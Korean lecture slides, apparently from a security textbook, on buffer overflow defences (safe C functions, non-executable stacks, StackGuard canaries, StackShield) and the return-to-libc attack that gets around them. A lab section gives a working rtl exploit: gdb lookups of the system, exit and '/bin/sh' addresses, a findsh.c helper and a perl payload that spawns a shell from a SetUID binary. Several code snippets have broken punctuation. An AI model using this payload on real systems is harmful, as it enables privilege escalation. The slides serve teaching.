버퍼 오버플로우에 대한 대책과 발전된 공격 안전한 함수 사용 버퍼 오버플로우에 취약한 함수 사용하지 않기

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1 버퍼 오버플로우에 대한 대책과 발전된 공격 안전한 함수 사용 버퍼 오버플로우에 취약한 함수 사용하지 않기
버퍼 오버플로우 공격에 취약한 함수 strcpy(char *dest, const char *src) strcat(char *dest, const char *src) getwd(char *buf) gets(char *s) fscanf(FILE *stream, const char *format, ...) scanf(const char *format, ...) realpath(char *path, char resolved_path[]) sprintf(char *str, const char *format)

2 버퍼 오버플로우에 대한 대책과 발전된 공격 입출력에 대한 사용자의 접근 가능성 줄이기
꼭 필요한 경우 입력 값 길이 검사 가능 함수 사용 ➊ strcpy 함수의 잘못된 사용과 strncpy 함수의 올바른 사용 : strcpy 함수는 입력 값에 대한 검사 잘못된 함수 사용 올바른 함수 사용 void function(char *str) { char buffer[20]; strcpy(buffer, str); return; } void fuction(char *str) { strncpy(buffer, str, sizeof(buffer-1); buffer[sizeof(buffer)-1]=0;

3 버퍼 오버플로우에 대한 대책과 발전된 공격 ➋ gets 함수의 잘못된 사용과 fgets 함수의 올바른 사용 : gets 함수도 fgets 함수이용 ➌ scanf 함수의 잘못된 사용과 fscanf 함수의 올바른 사용 : 입력되는 문자열 개수 한정 잘못된 함수 사용 올바른 함수 사용 void function(char *str) { char buffer[20]; gets(buffer); return; } void fuction(char *str) { char buffer[20] fgets(buffer, sizeof(buffer)-1, stdin); 잘못된 함수 사용 올바른 함수 사용 int main() { char str[80]; printf“( name : ”); scanf“( %s”,str); return 0; } scanf“( %79e”,str);

4 버퍼 오버플로우에 대한 대책과 발전된 공격 Non-Executable 스택
eggshell 셸 스택에 올린 뒤, 해당 주소로 ret 주소 위조 실행 Non-Executable Stack은 이러한 공격 패턴을 보고 스택에서 프로그램 실행 못하게 함 레드햇 6.2와 페도라 14에서 /proc/self/maps의 내용을 각각 확인 현재 스택의 메모리 공간에 대한 정보 확인 ➊ 메모리 범위로 스택의 일부분. ➋ 권한과 프로세스의 성격 r(read), w(write), x(execution), p(private) 나타냄. 레드햇 6.2에서는 스택에 x(execution) 권한 있어서 eggshell을 스택에 올리고 실행 페도라 14에서는 [stack]으로 표시된 행에서 권한은 rw-p로, x(execution) 권한이 제거, eggshell을 스택에 올려 수행 하는 버퍼 오버플로우 공격 성공 못함 bfffb000-c rwxp ➊ ➋

5 버퍼 오버플로우에 대한 대책과 발전된 공격 rtl 공격
rtl(return to libc) : Non-Executable Stack에 대한 해커의 대응책 rtl은 스택에 있는 ret 주소를 실행 가능한 임의의 주소(libc 영역의 주소)로 돌려 원하는 함수를 수행하게 만드는 기법 메모리에 적재된 공유 라이브러리는 스택에 존재하는 것이 아니므로 Non-executable Stack을 우회하는 것이 가능 libc 영역에서 셸을 실행할 수 있는 함수 : system, execve, execl 등 system 함수의 원형 int system(const char *command)

6 버퍼 오버플로우에 대한 대책과 발전된 공격 system 함수 : 인수로 입력된 내용을 실행 system.c
[그림 7-53] system“( ls -al”) 결과 system.c int main() { system("ls -al"); } gcc -o system_2 system.c ./system_2

7 버퍼 오버플로우에 대한 대책과 발전된 공격 system 함수에 원래대로“/bin/sh” 넣어 컴파일, 실행하면,
“ls -al”을 넣었을 때처럼 셸이 실행 [그림 7-54] system“( /bin/sh”) 결과 확인 gcc -g -o system system.c ./system

8 실습 7-5 rtl 공격 수행하기 rtl 공격은 system 함수 이용에서 힙 버퍼 오버플로우 공격에서 수행한 실습과 유사
bugfile.c 컴파일 bugfile.c를 스택 버퍼 오버플로우 때처럼 컴파일, SetUID 부여 [그림 7-55] bugfile.c 컴파일과 권한 부여 1 gcc bugfile.c -g -o bugfile chmod 4755 bugfile ls -al

9 실습 7-5 rtl 공격 수행하기 ret 주소 확인 bugfile.c의 ret 주소가 스택의 buffer에서 16바이트 위에 위치함 확인 2

10 실습 7-5 rtl 공격 수행하기 System 함수 주소 확인
gdb에서 system 함수의 주소를 확인 : 0x40058ae0 [그림 7-57] system 함수의 메모리 주소 확인 3 gdb bugfile break main run print systeml

11 실습 7-5 rtl 공격 수행하기 exit 함수 주소 확인
입력. 확인된 exit 함수의 주소는 0x400391e0 [그림 7-58] exit 함수의 메모리 주소 확인 4 print exit

12 실습 7-5 rtl 공격 수행하기 “/bin/sh”주소 확인
메모리에서 system 함수의 시작 주소부터“/bin/sh”문자열을 찾는 간단한 프로그램 findsh.c는 컴파일 전에 system 함수의 주소를‘shell =’값에 입력 컴파일, 실행. 확인된 주소 0x400fbff9 [그림 7-59] “/bin/sh”문자열 메모리 주소 확인 5 findsh.c int main(int argc, char **argv) { long shell; shell = 0x40058ac0; // <= 이 부분에 system()함수의 주소를 넣는다. while(memcmp((void*)shell,"/bin/sh",8)) shell++; printf("\"/bin/sh\" is at 0x%x\n",shell); } gcc -o findsh findsh.c ./findsh

13 실습 7-5 rtl 공격 수행하기 rtl 공격 수행 6

14 실습 7-5 rtl 공격 수행하기 •system 함수의 주소 : 0x40058ae0
•exit 함수의 주소 : 0x400391e0 •“/bin/sh”문자열의 주소 : 0x400fbff9 system 함수는 4바이트 거리에 있는 값을 인수로 인식하기 때문에 system“( /bin/sh”)와 같이 실행, 종료된 뒤 exit 함수 실행 [그림 7-61] rtl 공격 수행 perl -e 'system "./bugfile", "AAAAAAAAAAAAAAAA\xe0\x8a\x05\x40\xe0\x91\x03\x40\xf9\xbf\x0f\x40"' id

15 버퍼 오버플로우에 대한 대책과 발전된 공격 스택가드 스택 가드는 프로그램 실행 시 버퍼 오버플로우 공격을 탐지
컴파일러가 프로그램의 함수 호출(프롤로그) 시에 ret 앞에 canary(밀고자) 값을 주입하고, 종료(return, 에필로그) 시에 canary 값 변조 여부 확인하여 버퍼 오버플로우 공격 탐지 스택가드는 다음과 같은 기술을 사용 •Random canary : 프로그램 실행 때마다 canary 값 바꿔 이전 canary 값 재 사용 방지 •Null canary : 공격자가 버퍼 오버플로우 공격 시 Null 문자열은 해당 값 종료 의미 Null은 절대 넣을 수 없음을 이용 canary에 문자열(0x ) 포함 •Terminator canary : 대부분의 문자열 함수의 동작이 Null에서 끝나지만 Null에서 끝나지 않는 몇몇 함수의 종료 값을 canary 값으로 사용 즉, Null, CR(Carriage Return:0x0d), LF(Line Feed: 0x0a) End Of File: 0xff), -1 등을 조합해서 canary 값 만듬

16 실습 7-6 canary 확인하기 canary.c void main(int argc, char *argv[]) {
char buf1[4]; char buf2[8]; char buf3[12]; strcpy(buf1, argv[1]); strcpy(buf2, argv[2]); strcpy(buf3, argv[3]); printf( "%s %s %s", &buf1, &buf2, &buf3); }

17 실습 7-6 canary 확인하기 canary.c 컴파일 gdb로 분석 가능하도록 -g 옵션을 주어 canary.c 컴파일
1 gcc -g -o canary canary.c

18 실습 7-6 canary 확인하기 브레이크 포인트 확인 브레이크 포인트 두 부분에 설정 gdb canary
main 함수가 호출되어 ebp(sfp (stack frame pointer)) 저장하는 부분 스택에 buf1,buf2, buf3의 내용이 모두 들어간 뒷부분 [그림 7-64] main 함수에서 브레이크 포인트 확인 2 gdb canary disass main

19 실습 7-6 canary 확인하기 buf1, buf2, buf3의 내용이 모두 들어간 뒤는
printf“( %s %s %s”, &buf1, &buf2,&buf3);에 브레이크 포인트 설정 [그림 7-65] 프로그램 코드에서 브레이크 포인트 확인 list

20 실습 7-6 canary 확인하기 브레이크 포인트 설정과 실행
buf1, buf2, buf3는 canary.c 에서 각각4, 8, 12바이트씩 할당 각 구분이 쉽도록A(41), B(42), C(43)을 입력 [그림 7-66] 브레이크 포인트 설정과 실행 3 break *0x break 10 run AAA BBBBBBB CCCCCCCCCCC

21 실습 7-6 canary 확인하기 break *0x8048491에서 ret 주소와 sfp 확인
main 함수 호출할 때 push %ebp 실행, 스택 확인 ret 주소는 0x4003e507, sfp는 0xbffffcb8 [그림 7-67] ret 주소 및 sfp 확인 4 break *0x break 10

22 실습 7-6 canary 확인하기 break 10에서 canary 값 확인
buf1, buf2, buf3에 관련된 함수가 모두 실행되고, 스택에서 canary 값 확인 [그림 7-69] buf 값 및 canary 확인 5

23 실습 7-6 canary 확인하기

24 버퍼 오버플로우에 대한 대책과 발전된 공격 스택쉴드 gcc 컴파일러 확장으로 개발, ret 보호가 주목적
함수 호출(프롤로그) 시 ret를 Global RET 스택이라는 특수 스택에 저장 함수 종료(에필로그) 시 Global RET 스택에 저장된 ret 값과 스택의 ret 값을 비교일치 하지 않으면 프로그램 종료